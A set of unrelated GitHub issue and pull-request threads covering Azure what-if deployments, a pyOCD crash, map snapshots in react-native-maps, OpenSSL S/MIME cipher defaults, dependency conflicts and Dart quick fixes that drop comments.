    "resources": [
        {
            "name": "linkedDeployment1",
            "type": "Microsoft.Resources/deployments",
            "apiVersion": "2020-10-01",
            "properties": {
                "mode": "Incremental",
                "templateLink": {
                    "uri": "[concat('https://acu1brwaoag1saglobal.blob.core.windows.net/source/foo4.json?', 'sv=2015-04-05&ss=b&srt=o&sp=r&se=2021-08-20T11%3A00%3A00.0000000Z&spr=https&sig=PgEIbZwFQ%2FApQJaM3V7uEJ5Pxe2qp%3D')]",
                    "contentVersion": "<IP_ADDRESS>"
                },
                "parameters": {
                    "namesuffix": {
                        "value": "8912"
                    }
                }
            }
        }
    ]
}

Deploy again
New-AzResourceGroupDeployment -ResourceGroupName foo3 -TemplateFile 'D:\reproWhatif.json' -WhatIf -Mode Complete

Works as expected

The issue is that listAccountSas() is a runtime property and we don't have the ability to calculate runtime properties as part of the what-if check, so what if basically is forced to give up.
We want to fix this, but don't have the work scheduled atm, so can't provide any ETAs.


"IndexError: list index out of range" while loading executable from GDB to FRDM-K64F

I can't reproduce this, but thought it might be useful to report anyway:
  File "/usr/local/Cellar/python/2.7.9/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner
    self.run()
  File "/usr/local/lib/python2.7/site-packages/pyOCD/gdbserver/gdbserver.py", line 153, in run
    [resp, ack, detach] = self.handleMsg(data)
  File "/usr/local/lib/python2.7/site-packages/pyOCD/gdbserver/gdbserver.py", line 220, in handleMsg
    return self.flashOp(msg[2:]), 1, 0
  File "/usr/local/lib/python2.7/site-packages/pyOCD/gdbserver/gdbserver.py", line 369, in flashOp
    self.flashData += self.unescape(data[idx_begin:len(data) - 3])
  File "/usr/local/lib/python2.7/site-packages/pyOCD/gdbserver/gdbserver.py", line 437, in unescape
    data[data_idx] = data[data_idx] ^ 0x20
IndexError: list index out of range

Version: pyOCD 0.3.2

Thanks for the report.  Judging by the location of the crash, it looks like a gdb flashwrite packet got corrupted, causing the data to end with the escape character, 0x7d.  How often do you see this?  Also is your socket connection from GDB client to host on the same PC, or is it connected via the internet?

I've only seen this once. I'm connecting to localhost.

This same error just happened to me again (still on localhost). Restarting pyOCD and re-loading the same program worked fine.

Closing due to lack of activity. Please re-open if you see this again.


Inference Time

Thanks for your brilliant work!
Currently, I am trying the PPLM with a discriminator on GPU but it still needs around 5 mins to generate 512 tokens. I wonder if there is any way to speed up the inference time?
Many thanks and best regards,
Yijun

Hi @EstelleZhou,
yes, you could try to speed this up by decreasing the number of iteration per token. However, this may lead to a worst result, in term of positivity/negativity, compared to the one reported in the paper.
Andrea


How can we help?
I would like someone else to build the manifest.
Please read and ensure the following

[X] The installer meets the above requirements

Please provide the following information
Download Page Url: https://betterdiscord.app/
Publisher: BetterDiscord Team
Package Name: BetterDiscord
Description: BetterDiscord extends the functionality of DiscordApp by enhancing it with new features.
Package Version: 1.10.1
Installer URL: https://github.com/BetterDiscord/BetterDiscord/archive/refs/heads/main.zip

User has to accept EULA interactively.

AFAIK, BetterDiscord's maintainers do not want to implement it anytime soon.

Komac successfully inspect the package as a Nullsoft packaged wizard. It seems the EULA page can't be suppressed by silent switches.

It's worth noting that the betterdiscord github org now has a repo containing a command line oriented installer. I haven't tested it so I can't speak to how ready it is for production use but this is the path recommended by the BD maintainer as indicated here:
https://github.com/BetterDiscord/Installer/issues/263#issuecomment-1455495291

Sorry we don't wish to make this into a windows installer at this time. We'd rather have package managers use our CLI once it releases to the public. CLI installs with electron don't make much sense imo

The CLI installer repository in question: https://github.com/BetterDiscord/cli


How do you compute the F1-score？

Hello,can you tell me how do you compute the f1-score? I can't find it in your code.Thank you!

You need to choice the working threshold of the model first to compute the f1-score. And then, you need to use this model to identify the category of all samples. At last, you can use the function of sklearn(f1) to compute the f1-score.

You need to choice the working threshold of the model first to compute the f1-score. And then, you need to use this model to identify the category of all samples. At last, you can use the function of sklearn(f1) to compute the f1-score.

Do you give this in the code? I can't find it.

Thanks for ur letter. All ur suggestion are correct. In fact, i didn't give the corresponding code in my GitHub repository.
---Original---
From: @.>
Date: Wed, Apr 26, 2023 16:22 PM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [Xiaziheng89/Spatial-Location-Constraint-Prototype-Loss-for-Open-Set-Recognition] How do you compute the F1-score？ (Issue #2)
You need to choice the working threshold of the model first to compute the f1-score. And then, you need to use this model to identify the category of all samples. At last, you can use the function of sklearn(f1) to compute the f1-score.
Do you give this in the code? I can't find it.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

Thanks for ur letter. All ur suggestion are correct. In fact, i didn't give the corresponding code in my GitHub repository.
…
---Original--- From: @.> Date: Wed, Apr 26, 2023 16:22 PM To: @.>; Cc<EMAIL_ADDRESS>Subject: Re: [Xiaziheng89/Spatial-Location-Constraint-Prototype-Loss-for-Open-Set-Recognition] How do you compute the F1-score？ (Issue #2) You need to choice the working threshold of the model first to compute the f1-score. And then, you need to use this model to identify the category of all samples. At last, you can use the function of sklearn(f1) to compute the f1-score. Do you give this in the code? I can't find it. — Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you commented.Message ID: @.***>

Can you give it in your GitHub repository?


Support signing multiple release files (#1)

Addresses issue 13 to support signing multiple APKs: https://github.com/r0adkll/sign-android-release/issues/13

@Abushawish I am interested by your fix and I wanted to contribute, so I applied the fixes requested by @r0adkll and rebased your changes on master: https://github.com/r0adkll/sign-android-release/pull/49
I can do the PR against your fork first if you prefer.

Hey @victorpaleologue (and @r0adkll). I've moved onto other projects, thus my PR has been left stale. Victor, you're more than welcome to just merge into this repo with @r0adkll's blessing. No need to PR into my fork :). Appreciate you asking!

Closing now with https://github.com/r0adkll/sign-android-release/pull/49 merged.


Potential compatibility issues.

Got this message from Textra. Not sure what it's referring to. Just putting it here for reference purposes.

refers you here.

How can you reproduce this issue?

I'm still figuring that out. It has to be from writing the SMS. It's not descriptive enough and I don't see it when using the default messages program

We should figure this by ourselves

But how? We don't have an error message.

OK, well let's see first. That would probably be you, since I'm not that good with the ContentProviders yet

I will take a look, it may be related to the database


Taking snapshots of map for ios

Added functionality to take snapshot of map with annotation views for ios. You can configure image size and center point. I have tested it both in simulator and real device (iPhone SE). I also work on android implementation as i need to use it in both platforms for app I am building. So I will soon send pull request with android version as well (If this one is accepted :-)). PR contains example and readme update.

Thanks, this is pretty cool! I tested it works pretty well. Did you look at Android? If you have it it will be better to merge this together, otherwise that's fine with me.
Also is there always a "Documents" folder that is named "Documents" internal at the application ?

Hey, thanks for response. I looked at the android, but sadly, it seems that currently there is no possibility to pass data back to js from native view, as you can see here.
I am not 100% sure with the Documents folder, i will look at it later today and eventually fix it. Also i will change the method to take whole region object instead of just center point so you can adjust zoom level of snapshot. I will update pull request later today.

Checked the Documents folder it is always there see link. Also changed the centerPoint parameter to region and updated example, so let me know if it is ready for merge or if I should make some more changes.
When it will be possible to make this work in android I will immediately add this functionality for android as well.

@rusel1989 Looks great!
I would suggest we use RCTPromiseResolveBlock & RCTPromiseRejectBlock in place of the standard callback. This would then require alter takeSnapshot() a bit but would keep things asynchronous.
We can also offer a option to store the photo in the documents or temp directory. Having access to the temp directory is useful if the app needs to take screenshots that don't need to be accessed again.
Here is an example of that. https://github.com/christopherdro/react-native-html-to-pdf/blob/master/RNHTMLtoPDF/RNHTMLtoPDF.m#L77-L84
Re: Android. What kind of data are trying to pass back?

@christopherdro Thanks
Okay i will switch takeSnapshot method to promises and add directory option, i will also change the method to take options object instead of arguments in case anyone would like to add more options.
In Android I would like to pass same data as for ios - uri and base64 encoded image ... but with receiveCommand it is not possible to pass anything back to js. Do you have some suggestions how to achieve that ?

@rusel1989 I think sending base64 data across the bridge can be expensive therefore recommend just sending the back the file path.
Unfortunately I'm not familiar with receiveCommand, but if you were have android take a snapshot you should be able to return the filepath.
BTW, does taking screenshots currently work if you have markers, polylines, or polygons rendered on the map?
FWIW, taking snapshots of views is currently available in core for iOS. There is a PR open to implement this on android but it seems that there is some discussion on merging it in.
https://github.com/facebook/react-native/pull/6431/files
Maybe we can combine our efforts and get this merged into core?

Ok just tested this out and seems to work nicely.
I think it might makes this more complicated than they need to be try swapping the standard callbacks out for promises.
I'm going to pull this in now and work on the feature for Android. I most likely make a small update that will allow you to pass in width, height and other options and a single object. This will allow users to specify if they want the images save in a temp or perm directory and an option for the returned data format.

@rusel1989  Is it possible to have the snapshot also capture the markers?

@DVassilev Hey, it renders all markers by default even the custom ones

@rusel1989 I was making snapshots and they didn't include the markers, just the maps.

@DVassilev That is weird, it works for me, can you provide gist with your code ??

Not around laptop now but I basically generate a bunch of Markers with a custom image and text, when I try to take snapshot (done as per the example) it just generates an image of the map. Will see if I can post it later.


[com.google.fonts/check/metadata/escaped_strings)] Fails for necessary escaped quotes

(NOTE: Please include the check-id in the issue's title.)
Observed behaviour
We often have this FAIL for RFN mention that we ignore:
🔥 FAIL: Ensure METADATA.pb does not use escaped strings.
This is the copyright string in METADATA.pb:
copyright: "Copyright 2009 The Alike Project Authors (https://github.com/cyrealtype/Alike) with Reserved Font Name \"Alike\" and \"Alike Angular\"."
Expected behaviour
I am not sure what this check is trying to ensure because it was implemented a while ago but… Using quotes to define the reserved font name is a standard, and we need escape strings to not break METADATA.pb, therefore this check should pass.
Resources and steps needed to reproduce
Seen in https://github.com/google/fonts/pull/6929

I am not sure what this check is trying to ensure

As described on the original check proposal at https://github.com/googlefonts/gftools/issues/211, it is meant to avoid strings like this: Juli\303\241n when it should have proper unicode strings like this: Julián

Escaping quotes sounds fine, though. I can tweak the check to not FAIL on escaped quotes.


Finish API documentation for the relational assembly

Part of issue #1148

I'll let @AndriySvyryd review the Update comments.


added reaction time game

add reaction time game
issue #230
close #230

check this pr

pls check it


update packages

:white_check_mark: Build TheIdServer 3.0.1-fix-dependencies1-0078 completed (commit https://github.com/Aguafrommars/TheIdServer/commit/dac97035f8 by @)


Allow Fetch.fetchActions to derive actionHash from any block instead of calculating from beginning

Work done for to support this in Archive Node API is done here: https://github.com/o1-labs/Archive-Node-API/pull/71


next-feature/add ihaskell kernel.

@garbas
Rebased with the latest changes to the next branch. Tested with some examples from here and here and it appears to work.


Unable to install the latest version of gobuster on Linux-Debian

I can't install gobuster's latest version on Linux debian using the command "sudo apt-get gobuster", If I do that it installs an onlder version of gobuster. Can you guys help me out?

https://github.com/OJ/gobuster#easy-installation


PKCS7_encrypt / CMS_encrypt default cipher recommendation

The PKCS7_encrypt and CMS_encrypt documentation currently recommends the use of triple DES:

EVP_des_ede3_cbc() (triple DES) is the algorithm of choice for S/MIME use
because most clients will support it.

This is also the default algorithm used by the smime and cms commands. As this part of the docs was last touched 15 years ago, I wanted to double check whether this recommendation is still current.
https://datatracker.ietf.org/doc/html/rfc5751 mentions in "Changes since S/MIME v3.1" that "AES-128 CBC" is now the algorithm that MUST be implemented, while tripleDES only SHOULD- be.
Section <IP_ADDRESS> suggests the use of AES-128 unless there is knowledge to the contrary about encryption capabilities at the recipient.
S/MIME v4.0 (https://datatracker.ietf.org/doc/html/rfc8551) drops tripleDES support entirely.

I'd say the default should be changed, but this is clearly a Post 3.0 issue.


Depedency error: The required JS dependency "dom-helpers/util/inDOM" is not available, it was required by "node_modules/evergreen-ui/commonjs/portal/src/Portal.js".

Describe the bug
Can't compile evergreen-ui.
I'm getting the following error:
The required JS dependency "dom-helpers/util/inDOM" is not available, it was required by "node_modules/evergreen-ui/commonjs/portal/src/Portal.js".
To Reproduce
$ npm install --save evergreen-ui
Expected behavior
All dependencies work
Evergreen Version
4.27.4
DOM-helpers version: 5.1.4
(so vastly newer than the one evergreen needs)
(and indeed:
$ ls: node_modules/dom-helpers/util: No such file or directory
)
also: in Portal.js:
var _inDOM = _interopRequireDefault(require("dom-helpers/util/inDOM"));

Environment (please complete the following information):

OS: MacOS catalina
Browser Firefox
Version latest

Additional context
Error created by the Shadow-cljs compiler (this is a ClojureScript project).

This is probably happening because you have a conflict in your resolved version of dom-helpers. You can see that Evergreen relies on<EMAIL_ADDRESS>per the package.json and yarn.lock files.

This seems specific to the way the project is being compiled/bundled and we have not been able to reproduce it ourselves. Closing for now!

Hi @mshwery, I believe this is a result of the fact that evergreen-ui's dependency on react-transition-group "4.4.1" has a dependency on dom-helpers "5.0.1" whilst evergreen-ui also has a dependency on dom-helpers "3.2.1".
The tool @beders is using, shadow-cljs, is a clojurescript build tool that disallows nested dependencies to eliminate issues with conflicting library versions, I've come across the same issue just now. Whilst the bundler this project uses may be able to take the parts of both versions of the library, it does make it trickier to use in other environments, and this looks like a really nice library to use in conjunction with reagent!
It looks quite easy to refactor the evergreen-ui usage to be compatible with the new api dom-helpers/util/inDOM/canUseDom => dom-helpers/canUseDom I may have a go at a PR for this if that sounds reasonable?


Quick fix "Convert into expression body" removes comment

  @override
  List<AssetId> declareOutputs(AssetId inputId) {
    // provide list of output files
    return [new AssetId(inputId.package, _filePath)];
  }

    // provide list of output files

is silently removed

I suspect that many of our fixes and assists can unintentionally drop comments. Where would you suggest the comment appear after the change?

I would suggest moving it before the method declaration. IMHO even a message that the refactoring failed because of the comment would be better than just dropping it.

Note there are a few considerations to make in preserving comments. Here's an example with many of them:
int foo(int i) {
  // c1

  /* c2 */ /* c3 */ // c4
  return
  // c5
  i /*c6*/;
  // c7
}

There are block comments and inline comments.
Each position where a comment is legal can feature a block or an inline comment.
Newlines around block comments should be preserved.
Spaces around inline comments should be preserved.
Given a return statement, comments can occur before the return keyword, before the return expression (if present), before the semicolon, and after the semicolon.
Given an expression statement, comments can occur before the statement, before the semicolon, and after the semicolon.

To an extent, you can take a chain of comments and preserve their relative positions and text, but I imagine in the resulting expression body, you'd want to also put c4 and c5 next to each other (separated by a newline), and c6 and c7 next to each other (separated by a newline), so it is not as simple as preserving the comments' current positions.
I think we should not offer the quick fix in the presence of comments, and perhaps start with a conservative support (like a singular comment before return, etc.).

I'm ok with not offering the change if there are comments anywhere in the block and then incrementally making the correction producer more capable over time.
When it becomes high enough priority to improve the producer, it might be useful to explore where comments are most common and handle those cases first (or even only).

It happens in the other direction too -- comments are lost when converting an expression to a block:
onTap: () =>
    // Comment
    unawaited(updateDb()),

results in
onTap: () {
      unawaited(updateDb());
    },

@lukehutch I think that would be https://github.com/dart-lang/sdk/issues/37673 then.


README and .env.example

Updated README with dependencies and assists around running specs and usage tips.
Removed "3" from sqlite connection string in .env.example
Added missing environment variable to .env.example for line ending.

It's been a while since I've used Ruby so I am rather rusty on how to bootstrap and get going.

@rorymckinley thanks for the suggestions. Committed.

Thanks you very much @daneb - merged in.


Combine PIDNetLoss and fix all loss module to receive target as Dict

Description
Please include a summary in English, of the changes in this pull request. If it closes an issue, please mention it here.
Closes: #(issue)
You should link at least one existing issue for PR. Before your create a PR, please check to see if there is an issue for this change.
PRs from forked repository not accepted.
Change(s)

Combine PIDNetCrossEntropy, PIDNetBoundaryAwareCrossEntropy, and BoundaryLoss as PIDNetLoss
Fix all task loss target to have Dict type

forward method of loss module receive target parameter as Dict

Changelog
If you PR to dev branch, please add a brief summary of the change to the Upcoming Release section of the CHANGELOG.md file and include a link to the PR (formatted in markdown) and a link to your github profile.
For example,
- Added a new feature by `@myusername` in [PR 2023](https://github.com/Nota-NetsPresso/netspresso-trainer/pull/2023)

Code Formatting
If you PR to either master or dev branch, you should follow the code linting process. Please check your code with lint_check.sh in ./scripts directory.
For more information, please read the contribution guide in CONTRIBUTING.md.

Decided to do pull request once after whole refactoring is done.